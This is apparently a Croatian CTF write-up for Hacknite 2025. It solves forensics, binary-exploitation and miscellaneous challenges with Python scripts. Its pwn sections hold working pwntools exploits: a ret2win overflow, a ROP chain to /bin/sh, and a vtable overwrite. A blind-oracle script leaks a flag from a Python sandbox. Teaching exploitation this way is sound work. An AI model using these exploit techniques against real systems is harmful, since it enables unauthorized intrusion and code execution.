{"colors":[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"coords":[718,420,718,421,718,422,719,419,721,419,722,419,723,419,722,420,722,421,722,422,725,419,725,420,725,421,725,422,726,421,726,419,728,419,729,419,730,420,729,421,728,422,729,423,730,423,725,423,722,423,719,423,728,423,733,419,734,420,732,422,733,423,732,420,732,421,734,421,734,422,736,419,737,419,738,420,736,423,737,423,738,423,736,422,737,421,740,419,741,419,742,419,740,420,741,421,742,422,741,423,740,423,744,419,744,420,744,421,744,422,744,423,745,423,745,419,747,419,748,419,749,420,748,421], ... {"colors":[1,1,1,...],"coords":[747,422,747,423,748,423,749,423,752,423,751,422,751,421,753,423,754,422,752,421,753,421,751,420,752,419,753,419,757,419,756,420,758,421,757,421,757,423,758,423,756,422,759,422,759,420,758,419,761,420,761,421,762,422,763,422,763,421,763,423,764,422,761,419,761,422,766,419,767,419,768,419,768,420,768,421,768,422,768,423,770,419,771,419,772,419,770,420,771,421,772,422,771,423,770,423,774,419,775,419,776,420,775,421,774,422,774,423,775,423,776,423,778,419,778,421,778,420,778,422], ... {"colors":[1,1,1...],"coords":[778,422,779,422,780,422,781,422,780,421,780,423,784,423,784,421,783,420,785,423,785,421,786,422,784,419,785,419,786,420,786,421,783,421,789,419,790,419,788,420,788,422,789,421,790,421,789,423,790,423,791,422,791,420,793,419,794,419,795,420,794,421,793,422,793,423,794,423,795,423,797,419,798,419,799,419,797,420,798,421,799,422,798,423,797,423,801,419,802,419,803,420,802,421,801,422,801,423,802,423,803,423,805,419,806,419,807,419,807,420,807,421,807,422,807,423], ... {"colors":[1,1,1,1,1,1,1,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7],"coords":[809,419,810,419,810,420,810,421,810,422,810,423,809,423,813,419,814,419,814,420,813,420,815,420,816,420,816,419,817,419,817,420,818,420,817,421,816,421,815,421,814,421,813,421,814,422,815,422,816,422,815,423,812,420,820,420,821,420,822,420,823,420,824,420,825,420,826,420,825,419,824,419,822,419,821,419,821,421,822,421,823,421,824,421,825,421,824,422,823,422,822,422,823,423], ... Sada se pronađeni pikseli iz ovih zahtjeva mogu prekopirati u "pixel_logs.txt", te se može napisati Python program koji će parsirati ove zapise, pročitati koordinate svih piksela te ih nacrtati koristeći Tkinter i tako rekonstruirati nacrtanu sliku. import tkinter as tk import re # --- CONFIGURATION --- LOG_FILE = 'pixel_logs.txt' PIXEL_SCALE = 8 # screen pixels per each wplace pixel. Increase for a bigger image. BACKGROUND_COLOR = "lightgrey" #canvas background DEFAULT_PIXEL_COLOR = "purple" # unknown color ID PADDING = 40 # White space around the drawing # color map based on the wplace palette COLOR_MAP = { 0: "white", 1: "black", 2: "darkgrey", 3: "grey", 4: "lightgrey", 5: "white", 6: "darkred", 7: "red", 8: "orange", 9: "gold", 10: "yellow", 14: "lime", 19: "blue", 20: "cyan", 24: "purple", 27: "pink", 30: "brown", } def parse_and_process_logs(filename): all_pixels = [] print(f"Reading pixel data from {filename}...") colors_regex = re.compile(r'"colors":\s*\[([^]]*)\]') coords_regex = re.compile(r'"coords":\s*\[([^]]*)\]') try: with open(filename, 'r') as f: for i, line in enumerate(f): line = line.strip() if not line: continue colors_match = colors_regex.search(line) coords_match = coords_regex.search(line) if not colors_match or not coords_match: print(f" - Warning: Skipping line {i+1}. Could not find both 'colors' and 'coords' arrays.") continue colors_str = colors_match.group(1) coords_str = coords_match.group(1) try: colors = [int(c) for c in colors_str.split(',') if c.strip()] coords = [int(c) for c in coords_str.split(',') if c.strip()] except ValueError: print(f" - Warning: Skipping line {i+1}. Found non-numeric data inside an array.") continue if len(coords) % 2 != 0: coords = coords[:-1] num_pixels_to_process = min(len(colors), len(coords) // 2) for pixel_index in range(num_pixels_to_process): coord_index = pixel_index * 2 x = coords[coord_index] y = coords[coord_index + 1] color_id = colors[pixel_index] all_pixels.append((x, y, color_id)) except FileNotFoundError: print(f"Error: The file '{filename}' was not found.") print("Please make sure 'logs.txt' is in the same directory as this script.") return None print(f"Successfully processed {len(all_pixels)} pixels.") return all_pixels def main(): pixels_to_draw = parse_and_process_logs(LOG_FILE) if not pixels_to_draw: print("No pixel data found to draw.") return # --- Determine the canvas size --- min_x = min(p[0] for p in pixels_to_draw) max_x = max(p[0] for p in pixels_to_draw) min_y = min(p[1] for p in pixels_to_draw) max_y = max(p[1] for p in pixels_to_draw) print(f"Drawing bounds: X from {min_x} to {max_x}, Y from {min_y} to {max_y}") canvas_width = (max_x - min_x + 1) * PIXEL_SCALE + (2 * PADDING) canvas_height = (max_y - min_y + 1) * PIXEL_SCALE + (2 * PADDING) root = tk.Tk() root.title("Wplace Reconstruction") canvas = tk.Canvas(root, width=canvas_width, height=canvas_height, bg=BACKGROUND_COLOR) canvas.pack() for x, y, color_id in pixels_to_draw: color_str = COLOR_MAP.get(color_id, DEFAULT_PIXEL_COLOR) draw_x = (x - min_x) * PIXEL_SCALE + PADDING draw_y = (y - min_y) * PIXEL_SCALE + PADDING canvas.create_rectangle( draw_x, draw_y, draw_x + PIXEL_SCALE, draw_y + PIXEL_SCALE, fill=color_str, outline="" ) root.mainloop() if __name__ == "__main__": main() {{ hacknite2025:wplace_recon.png?nolink&500 | Rekonstrukcija postavljenih piksela }} Kada ste gotovi za zadatkom, napravite unmount. sudo umount /mount sudo qemu-nbd --disconnect /dev/nbd0 sudo modprobe -r nbd ======Binarna eksploatacija====== ====Kočija==== Kočija se vratila. Spoji se Linux naredbom nc chal.platforma.hacknite.hr 14011 ili Windows naredbom telnet chal.platforma.hacknite.hr 14011 Uz zadatak je dan i izvorni kod. U zadatku je potrebno izazvati pozivanje slučaja 5, koji nema **break;**, pa će se nakon njega odmah ući u slučaj 6 u kojemu se izvršava naredba longjmp(ctx,a); A vrijednost **a** se postavlja kao zadnji uneseni broj. **scanf** vraća broj pravilno upisanih formata, što znači da je potrebno upisati 5 brojeva, kako bi scanf vratio 5 i kako bi se onda izazvalo pozivanje slučaja 5. Format rješenja je unos 5 brojeva, od kojih zadnji broj mora imati 18. bit slijeva postavljen na 1. ...xx**1**xxxxxxxxxxxxxxxxx Skripta koja rješava zadatak. from pwn import * p = remote("chal.platforma.hacknite.hr",14011) p.sendline(b"1 1 1 1 131072") print(p.recvall()) ====Zadatak++==== sRETno! Na remote instancu se možeš spojiti Linux naredbom nc chal.platforma.hacknite.hr 14008 ili Windows naredbom telnet chal.platforma.hacknite.hr 14008 Uz zadatak je dan i izvorni kod. Ovaj se zadatak temelji na klasičnoj [[ret2win|Ret2win]] ranjivosti, iako je pisan u **C++** jeziku, pristup je isti. Skripta koja rješava zadatak. from pwn import * p = remote("chal.platforma.hacknite.hr",14008) e = ELF("./zadatak.out") r = ROP(e) ret = r.ret.address payload = b"a" * 40 + p64(ret) + p64(e.sym["_Z7ret2winv"]) p.sendline(payload) p.interactive() Nakon toga je potrebno s pomoću shella pročitati /ctf/flag.txt ====ZmijaPwn==== Još jedan "snake" zadatak. Možeš li doći do flaga? Dostupna ti je Linux izvršna datoteka za lokalnu analizu, a remote instanci se može pristupiti Linux naredbom Napomena: za igranje na remote instanci morate i pritisnuti enter nakon W, A, S ili D (za potrebe exploita se očekuje da ćete to automatizirati) nc chal.platforma.hacknite.hr 14007 ili Windows naredbom telnet chal.platforma.hacknite.hr 14007 Uz zadatak je dan i izvorni kod. Pregledom koda, može se vidjeti da postoji unsigned integer underflow, koji će u slučaju da score postane -1, zbog underflowa biti postavljen na najveću moguću vrijednost. Time će odmah biti zadovoljen uvjet dovoljno visokog scorea za upis imena. U funkciji za upis imena se nalazi [[ret2win|Ret2win]] ranjivost. void highscore_prompt() { clear_screen(); printf("Impressive score achieved! Enter your username: "); char buf[32]; gets(buf); printf("Thanks, %s!\n", buf); fflush(stdout); } Ovdje se funkcijom **gets** čita neograničen korisnički unos u buffer veličine 32 bajta. Adresa povratka se može prepisati preko buffer overflowa, tako da se funkcija nakon povratka ne vrati u main, nego na početak izvršavanja funkcije **easter_egg**, koja ispisuje flag. void easter_egg() { FILE *file = fopen("easterEgg.txt", "r"); char buffer[256]; while (fgets(buffer, sizeof(buffer), file) != NULL) { printf("%s", buffer); } fclose(file); fflush(stdout); } Skripta koja rješava zadatak na opisani način je u nastavku. #!/usr/bin/env python3 import collections import collections.abc from collections import deque if not hasattr(collections, "MutableMapping"): collections.MutableMapping = collections.abc.MutableMapping from pwn import process, context, ELF, asm, p64, remote, context from pwnlib.tubes.process import PTY HOST = 'chal.platforma.hacknite.hr' PORT = 14007 import sys, re, time context.log_level = 'info' WID, HGT = 30, 15 MOVES = {"w": (0,-1), "s": (0,1), "a": (-1,0), "d": (1,0)} CLEAR_RE = re.compile(b'\x1b\\[2J\x1b\\[H') def parse_board_from_text(text): lines = text.splitlines() grid = [] snake_head = None poison = None for y, line in enumerate(lines): if not line or line[0] != '#': continue row = [] for x, ch in enumerate(line): if ch == '#': row.append('#') elif ch in " O*Xo": row.append(ch) if ch == 'O': snake_head = (x-1, y-1) if ch == 'X': poison = (x-1, y-1) else: row.append(' ') grid.append(row) return grid, snake_head, poison def bfs_path(grid, start, goal): q = deque([(start, [])]) seen = {start} moves = [(1,0,"d"),(-1,0,"a"),(0,1,"s"),(0,-1,"w")] while q: (x,y), path = q.popleft() if (x,y) == goal: return path for dx,dy,key in moves: nx, ny = x+dx, y+dy if not (0 <= nx < WID and 0 <= ny < HGT): continue if (nx,ny) in seen: continue if grid[ny][nx] in ("#", "o", "O"): continue seen.add((nx,ny)) q.append(((nx,ny), path+[key])) return [] def suicide_move(head): x, y = head if x < WID//2: return "a" if x > WID//2: return "d" if y < HGT//2: return "w" return "s" def get_payload(): elf = ELF('./snake') easter_egg_addr = elf.symbols['easter_egg'] ret_gadget = None for gadget in elf.search(asm('ret')): ret_gadget = gadget break if ret_gadget is None: print("Could not find a ret gadget") return offset = 40 payload = b'A' * offset payload += p64(ret_gadget) payload += p64(easter_egg_addr) print(f"[+] easter_egg address: {hex(easter_egg_addr)}") print(f"[+] ret gadget address: {hex(ret_gadget)}") print(f"[+] Payload: {payload.hex()}") return payload def read_nonblocking(p, timeout=0.05): try: chunk = p.recv(timeout=timeout) chunk = CLEAR_RE.sub(b'', chunk) sys.stdout.write(chunk.decode(errors='ignore')) sys.stdout.flush() return chunk except Exception: return b'' def play_snake(binary="./snake"): context.log_level = 'info' buffer = b"" p = remote(HOST, PORT) current_path = [] got_poison = False try: while True: chunk = read_nonblocking(p, 0.05) if not chunk: continue buffer += chunk if b"Score: -1" in buffer: time.sleep(0.05) if b"Enter your username:" in buffer: buffer = b"" choice = input("Highscore detected. Choose option:\n 1) Enter manually\n 2) Send payload\nEnter 1 or 2: ").strip() if choice == "1": username = input("Enter username: ") p.sendline(username.encode()) else: payload = get_payload() print(f"[+] Sending payload ({len(payload)} bytes)") p.sendline(payload) for _ in range(20): chunk = read_nonblocking(p, 0.1) if not chunk: break if b"Score:" in buffer: text = buffer.decode(errors='ignore') grid, head, poison = parse_board_from_text(text) if not head: buffer = b"" continue if not got_poison: if poison: if not current_path: current_path = bfs_path(grid, head, poison) if current_path: move = current_path.pop(0) p.send(move.encode()) dx, dy = MOVES[move] nx, ny = head[0]+dx, head[1]+dy if (nx, ny) == poison: got_poison = True current_path = [] else: p.send(b'd') else: p.send(b'd') else: mv = suicide_move(head) p.send(mv.encode()) buffer = b"" finally: print("\n[+] Closing process.") try: p.close() except Exception: pass if __name__ == "__main__": play_snake() ====binsh==== Pokušaj pozvati /bin/sh Na remote instancu se možeš spojiti Linux naredbom nc chal.platforma.hacknite.hr 14010 Uz zadatak je dan i izvorni kod. Rješenje ovog zadatka se temelji na ROP gadgetu kojim se poziva shell, pretraživanjem i sastavljanjem odgovarajućih elemenata iz glibc shared libraryja. Rješenje zadatka je u nastavku. from pwn import * import sys if len(sys.argv) > 1: p = gdb.debug("./zadatak.out") else: p = remote("chal.platforma.hacknite.hr",14010) context.arch = "amd64" e = ELF("./zadatak.out") r = ROP(e) rdi = r.rdi.address rsi = r.rsi.address rax = r.rax.address syscall = r.syscall.address shell = next(e.search(b"/bin/sh\x00")) gadgets = [rdi,shell,rsi,0,rax,59,syscall] for i in range(7): p.sendline(b"1") p.sendline(str(101+i).encode()) p.sendline(str(gadgets[i]).encode()) p.sendline(b"a") p.interactive() ====petshop==== Je li ovaj pet shop siguran? Na remote instancu se možete spojiti Linux naredbom nc chal.platforma.hacknite.hr 14009 ili Windows naredbom telnet chal.platforma.hacknite.hr 14009 Uz zadatak je dan i izvorni kod. Rješenje ovog zadatka je drugačije od drugih zadataka pisanih u C programskom jeziku, temelji se na [[ret2win|Ret2win]], prepisivanju adrese i sadržaja virtualna tablica funkcija (vtable) te string pointera. Predzadnji upit u zadatku (**Ime i prezime>**) ima buffer overflow, kojim se treba u objektu mačka koji je na stogu iznad objekta kupac kojemu se upisuje ime i prezime, prepisati string pointer varijable naziv i prepisati pointer na virtualnu tablicu funkcija da oboje pokazuju na istu adresu, koja je u .bss sekciji, na dijelu sekcije gdje nije ništa za što bi program prestao funkcionirati kad bi bilo prepisano (kao stdout npr). Sada kada je prepisana adresa string varijable naziv u objektu mačka (za prvi odabir uzeti 1 - mačka), zadnji unos je upravo unos naziva ljubimca, odnosno zadnji unos će se pohraniti na adresu na koju prepisana string varijabla naziv pokazuje. Pošto je i virtualna tablica objekta mačka prepisana, da također pokazuje na tu adresu, kada će se pozvati **z->zvuk();** na kraju programa, adresa te funkcije će se pokušati pronaći u virtualnoj tablici, kojoj je adresa prepisana u .bss sekciju, na mjesto na koje se također preko prepisane string varijable naziv može upisati proizvoljna adresa. Preostalo je za zadnji unos upisati adresu funkcije **ret2win**, kako bi se adresa te funkcije preko prepisane adrese varijable naziv upisala u .bss sekciju i onda će se pri pozivu **z->zvuk();**, preko prepisane adrese virtualne tablice koja pokazuje na isto mjesto, umjesto funkcije zvuk, pozvati funkcija ret2win. Rješenje zadatka from pwn import * import sys e = ELF("./zadatak.out") if len(sys.argv) > 1: p = gdb.debug("./zadatak.out") else: p = remote("chal.platforma.hacknite.hr",14009) p.sendline(b"1") p.sendline(b"1") bss = e.get_section_by_name(".bss").header.sh_addr + 8 payload = b"a" * 44 + p64(bss) + p64(bss) + p64(0) + p64(8) p.sendline(payload) p.sendline(p64(e.sym["_Z7ret2winv"])) p.interactive() ======Razno====== ====Neispravan sat==== Ovaj sat radi neobično, čini mi se da je neispravan. Spoji se Linux naredbom nc chal.platforma.hacknite.hr 14035 ili telnet chal.hacknite.hr 12035 Uz zadatak je dan i izvorni kod zadatka. Potrebno je zabilježiti ispise programa, i iz njih izračunati inicijalni broj koji je dan programu, prema kojemu su određena brzina i početna pozicija sata. Mogu se zabilježiti prve dvije pozicije i jedna puno kasnija pozicija za izračun parametara. Clock - elapsed 0s Min:5.00° Hr:125.00° Clock - elapsed 15s Min:5.88° Hr:125.38° Clock - elapsed 692s Min:45.42° Hr:142.32° Skripta koja pronalazi inicijalnu konfiguraciju iz ovih zapisa dana je u nastavku. import re import numpy as np import sys def calculate_velocity(times, angles): dt_est = times[1] - times[0] da_est = angles[1] - angles[0] if da_est > 180: da_est -= 360 if da_est < -180: da_est += 360 if dt_est == 0: return 0.0 omega_est = da_est / dt_est total_dt = times[-1] - times[0] if total_dt == 0: return 0.0 total_angle_change_est = omega_est * total_dt raw_angle_diff = angles[-1] - angles[0] num_wraps = np.round((total_angle_change_est - raw_angle_diff) / 360.0) total_angle_travel = raw_angle_diff + 360.0 * num_wraps return total_angle_travel / total_dt def solve_log(filename="clock_log.txt"): try: with open(filename, "r") as f: log_text = f.read() except FileNotFoundError: print(f"Error: The file '{filename}' was not found.") return log_pattern = re.compile(r"Clock - elapsed (\d+)s\s+Min:([0-9.]+)°\s+Hr:([0-9.]+)", re.MULTILINE) matches = log_pattern.findall(log_text) if not matches or len(matches) < 2: print("Error: Log file does not contain enough data points.") return data = np.array(matches, dtype=float) # Determine k0 from the initial minute angle --- theta_m0 = data[0, 1] true_k0 = int(round(theta_m0)) # Calculate velocities, g, and s to verify consistency --- omega_min = calculate_velocity(data[:, 0], data[:, 1]) delta_omega = omega_min - calculate_velocity(data[:, 0], data[:, 2]) g = round(0.1 / delta_omega) s = round(2 * g * (omega_min * 60)) % 12 print(f"Calculated Congruence Class g = {g}") print(f"Calculated AP Step s = {s}") # Reconstruct the correct sequence --- def k_to_hour(k): return 12 if k == 0 else k hour_sequence = [k_to_hour((true_k0 + n * s) % 12) for n in range(12)] final_string = "".join(map(str, hour_sequence)) solution = final_string[:12] print("\n---------------------------------------------------------") print(" THE UNIQUE SOLUTION IS") print("---------------------------------------------------------") print(f"Starting Hour: {k_to_hour(true_k0)}") print(f"Hour Sequence: {hour_sequence}") print(f"Final 12-digit string: {solution}") print(f"FLAG: CTF2025[{solution}]") print("---------------------------------------------------------") if __name__ == "__main__": solve_log() ====Elemental Fighters==== Rješenje zadatka dostupno je ovdje: [[elemental_fighters|CTF writeup - Elemental Fighters]] ====SandBlox==== Možeš li pobjeći iz ovog Python zatvora iako ti nećemo dati izvorni kod? http://chal.platforma.hacknite.hr:14034/ Tehnika ovog rješenja je slična kao [[blind_sqli|Blind SQL injection]], no nema baze podataka nad kojom se šalju upiti, nego je tehnika upita bazirana na istom principu. FLAG varijabla je unutar samog sandbox okruženja, koje jedino vraća odgovor je li se kod uspješno izvršio ili nije. Rješenje je ostvareno izvršavanjem Python koda nad FLAG varijablom u obliku: "Ako je tvrdnja točna, nemoj baciti grešku, ako je tvrdnja netočna, baci grešku" ili obrnuto (kao što je u skripti). Skripta je dana u nastavku. import requests import string from string import ascii_lowercase url="http://chal.platforma.hacknite.hr:14034/" # Known flag format known_prefix = "CTF2025[" flag = known_prefix charset = "0123456789]" for position in range(len(known_prefix), 21): # CTF2025[ + 12 digits + ] = 21 chars low = 0 high = len(charset) - 1 found_char = None while low <= high: mid = (low + high) // 2 char = charset[mid] payload = f""" if ord(FLAG[{position}]) >= ord('{char}'): undefined_function() else: a = 2 + 3 """ try: response = requests.post(url, data={'code': payload}) response_text = response.text # Check if we got an error (condition was true) if "Error occurred!" in response_text: found_char = char low = mid + 1 elif "Code ran successfully!" in response_text: high = mid - 1 else: print("Unknown response") print("Response text:", response_text) except Exception as e: print(f"Request error: {e}") break if found_char is not None: flag += found_char print(f"Position {position}: Found character '{found_char}', Current flag: {flag}") else: print(f"Position {position}: Error finding character") break print(f"Flag: {flag}") ====Čvor==== Posloži čvor! Spoji se Linux naredbom nc chal.platforma.hacknite.hr 14033 ili Windows naredbom telnet chal.platforma.hacknite.hr 14033 Potrebno je napisati program koji će pronaći validnu konfiguraciju točaka za zadane uvjete. Program se može napisati u Pythonu, ili u C-u ili Rustu, u kojem slučaju je skripta puno brža nego ako je napisana Pythonom. Python skripta se može pokrenuti s "pypy" implementacijom Pythona, u kojem slučaju će se skripta značajno brže izvršavati. pypy3 solveScript.py U nastavku je dana Python skripta koja pronalazi validno rješenje ovih uvjeta, koja je kompatibilna s pypy implementacijom. Skripta koristi bruteforce pristup s backtrack algoritmom, bez heuristika. Moguće je napisati skriptu koja koristi prikladne heuristike i puno brže pronalazi validnu konfiguraciju rješenja. import sys import math import random class KnotBuilder: def __init__(self, num_nodes, min_dist, space_size): self.num_nodes = num_nodes self.min_dist = min_dist self.space_size = space_size self.nodes = [] # list of (x,y,z) tuples def is_valid_position(self, pos): x, y, z = pos # Check 3D distance constraint for nx, ny, nz in self.nodes: dx = x - nx dy = y - ny dz = z - nz if dx*dx + dy*dy + dz*dz < (self.min_dist * self.min_dist): return False # Check projections for crossing conditions def check_proj_axis(axis1, axis2): p = (pos[axis1], pos[axis2]) # Node-node overlap for n in self.nodes: q = (n[axis1], n[axis2]) if p == q: return False # Node on existing segment for i in range(len(self.nodes)-1): a = self.nodes[i] b = self.nodes[i+1] pa = (a[axis1], a[axis2]) pb = (b[axis1], b[axis2]) if pa == pb: continue if p == pa or p == pb: continue orient = (pb[0] - pa[0])*(p[1] - pa[1]) - (pb[1] - pa[1])*(p[0] - pa[0]) if abs(orient) == 0: if min(pa[0], pb[0]) <= p[0] <= max(pa[0], pb[0]) and min(pa[1], pb[1]) <= p[1] <= max(pa[1], pb[1]): return False # Intersection with new segment if self.nodes: last = self.nodes[-1] p1 = (last[axis1], last[axis2]) p2 = (pos[axis1], pos[axis2]) for i in range(len(self.nodes)-1): a = self.nodes[i] b = self.nodes[i+1] pa = (a[axis1], a[axis2]) pb = (b[axis1], b[axis2]) if pa == p1 or pb == p1 or pa == p2 or pb == p2: continue if self._segments_intersect(p1, p2, pa, pb): return False return True # Check XY, XZ, YZ projections if not check_proj_axis(0, 1): return False if not check_proj_axis(0, 2): return False if not check_proj_axis(1, 2): return False return True def _segments_intersect(self, p1, p2, p3, p4): def orient(a, b, c): return (b[0] - a[0])*(c[1] - a[1]) - (b[1] - a[1])*(c[0] - a[0]) def on_seg(a, b, c): return min(a[0], c[0]) <= b[0] <= max(a[0], c[0]) and min(a[1], c[1]) <= b[1] <= max(a[1], c[1]) o1 = orient(p1, p2, p3) o2 = orient(p1, p2, p4) o3 = orient(p3, p4, p1) o4 = orient(p3, p4, p2) # Colinear cases if o1 == 0 and on_seg(p1, p3, p2): return True if o2 == 0 and on_seg(p1, p4, p2): return True if o3 == 0 and on_seg(p3, p1, p4): return True if o4 == 0 and on_seg(p3, p2, p4): return True if (o1 > 0 and o2 < 0 or o1 < 0 and o2 > 0) and (o3 > 0 and o4 < 0 or o3 < 0 and o4 > 0): return True return False def calculate_crossings(self): crossings = [] def proj_cross(axis1, axis2, plane): # Node-node overlap for i in range(len(self.nodes)): for j in range(i+1, len(self.nodes)): p1 = (self.nodes[i][axis1], self.nodes[i][axis2]) p2 = (self.nodes[j][axis1], self.nodes[j][axis2]) if p1 == p2: crossings.append((plane, 'node-node', i, j)) # Node on edge for i in range(len(self.nodes)): p = (self.nodes[i][axis1], self.nodes[i][axis2]) for j in range(len(self.nodes)-1): if i == j or i == j+1: continue pa = (self.nodes[j][axis1], self.nodes[j][axis2]) pb = (self.nodes[j+1][axis1], self.nodes[j+1][axis2]) orient = (pb[0] - pa[0])*(p[1] - pa[1]) - (pb[1] - pa[1])*(p[0] - pa[0]) if abs(orient) == 0 and min(pa[0], pb[0]) <= p[0] <= max(pa[0], pb[0]) and min(pa[1], pb[1]) <= p[1] <= max(pa[1], pb[1]): crossings.append((plane, 'node-edge', i, j, j+1)) # Edge-edge intersections for i in range(len(self.nodes)-1): p1 = (self.nodes[i][axis1], self.nodes[i][axis2]) p2 = (self.nodes[i+1][axis1], self.nodes[i+1][axis2]) for j in range(i+2, len(self.nodes)-1): p3 = (self.nodes[j][axis1], self.nodes[j][axis2]) p4 = (self.nodes[j+1][axis1], self.nodes[j+1][axis2]) if self._segments_intersect(p1, p2, p3, p4): crossings.append((plane, 'edge-edge', i, i+1, j, j+1)) proj_cross(0,1,'XY') proj_cross(0,2,'XZ') proj_cross(1,2,'YZ') return crossings def add_remaining_nodes(self): remaining = self.num_nodes - len(self.nodes) attempts = 0 max_attempts = 10000 while remaining > 0 and attempts < max_attempts: x = random.randint(0, self.space_size) y = random.randint(0, self.space_size) z = random.randint(0, self.space_size) pos = (x, y, z) if pos in self.nodes: attempts += 1 continue if self.is_valid_position(pos): self.nodes.append(pos) remaining -= 1 attempts += 1 return remaining == 0 def backtrack(self, current_nodes): if len(current_nodes) == self.num_nodes + 1: return True for x in range(0, self.space_size+1): for y in range(0, self.space_size+1): for z in range(0, self.space_size+1): pos = (x, y, z) if pos in current_nodes: continue valid = True for nx, ny, nz in current_nodes: dx = x - nx; dy = y - ny; dz = z - nz if dx*dx + dy*dy + dz*dz < (self.min_dist*self.min_dist): valid = False break if not valid: continue old_nodes = self.nodes self.nodes = list(current_nodes) if self.is_valid_position(pos): current_nodes.append(pos) if self.backtrack(current_nodes): return True current_nodes.pop() self.nodes = old_nodes return False def main(): num_nodes = 12 min_dist = 3 space_size = 6 #(0 - 6) builder = KnotBuilder(num_nodes, min_dist, space_size) success = builder.backtrack([(0, 0, 0)]) if success: print("\nNode coordinates:") for i, (x, y, z) in enumerate(builder.nodes): print(f"Node {i}: ({str(x-(space_size//2))},{y-(space_size//2)},{z-(space_size//2)})") else: print("Failed to build complete knot with given constraints.") if __name__ == "__main__": main() Ako vas zanima više, probajte napisati algoritam koji brže nalazi validna rješenja i probajte pronaći najveći broj točaka za koji je moguće pronaći validnu konfiguraciju uz iste uvjete prostora i minimalne udaljenosti. Za ovo se preporučuje napisati implementaciju u C programskom jeziku ili u Rustu.